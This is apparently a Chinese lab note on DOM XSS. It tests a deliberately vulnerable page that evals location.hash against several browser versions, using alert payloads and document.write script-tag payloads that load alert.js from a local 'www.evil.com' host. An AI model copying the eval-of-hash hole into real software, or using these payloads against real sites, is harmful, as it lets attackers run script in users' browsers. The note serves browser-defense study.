前言

参考文档:web前端黑客技术揭秘笔记 第三章

假设已经配置好hosts文件:

127.0.0.1 www.foo.com
127.0.0.1 www.evil.com

配置

根目录新建xssme.html文件,内容为:

<script>
eval(location.hash.substr(1));
</script>

以及alert.js文件,内容为:

alert("123");

alert

浏览器访问http://127.0.0.1/xssme.html#alert(1)

上到谷歌最高版本75测试成功。更老的其他版本自然也没问题。

XSS攻击 eval(location.hash.substr(1));  笔记

下到IE6,也能弹窗出来。

XSS攻击 eval(location.hash.substr(1));  笔记

据此可知,简单的alert语句并未被浏览器阻止。

引入js

同源

首先来看同源下的引入js。地址:

http://127.0.0.1/xssme.html#document.write("<script/src=//127.0.0.1/alert.js></script>")

http://www.foo.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")

http://www.evil.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")

谷歌75、65打开都白屏,说明即使是同源下的js脚本,也被谷歌阻止掉了。

而谷歌21版本是可以弹窗出来的:

XSS攻击 eval(location.hash.substr(1));  笔记

对于火狐浏览器69版本,需要将代码修改为

<script>
    eval(decodeURI(location.hash.substr(1)));
</script>

之所以这么修改,我猜测是因为,火狐69默认对地址栏的特殊字符进行了编码,可以从它的地址栏复制出来,发现是编码了引号以及尖括号的。

XSS攻击 eval(location.hash.substr(1));  笔记

Firefox15.01和ie6/IE11在代码无需修改的情况下,执行成功。

IE11:

XSS攻击 eval(location.hash.substr(1));  笔记

第三方

下面地址,就是会加载第三域的脚本资源

http://www.foo.com/xssme.html#document.write("<script/src=//www.evil.com/alert.js></script>")

http://www.evil.com/xssme.html#document.write("<script/src=//www.foo.com/alert.js></script>")

IE5和IE11可以执行

XSS攻击 eval(location.hash.substr(1));  笔记

XSS攻击 eval(location.hash.substr(1));  笔记

老版本谷歌21不可执行。自然高版本谷歌75也被阻止。

老版本火狐15执行成功。

XSS攻击 eval(location.hash.substr(1));  笔记

火狐浏览器69版本在将eval(location.hash.substr(1));修改为eval(decodeURI(location.hash.substr(1)));再一次执行成功。

XSS攻击 eval(location.hash.substr(1));  笔记

总结

经过上面的测试。可以了解到这几种版本的浏览器对xss攻击的防御能力。

alertxss攻击在多数浏览器中均没有被阻止。应该是因为危害太小。

在谷歌21版本尚且还可以通过xss攻击来引入同域下的js文件,而现在新版本已经过滤掉了。因为同域文件也未必安全。


参考:记一次简单的DOM XSS攻击实验 - 趁你还年轻,做个优秀的前端工程师 - SegmentFault 思否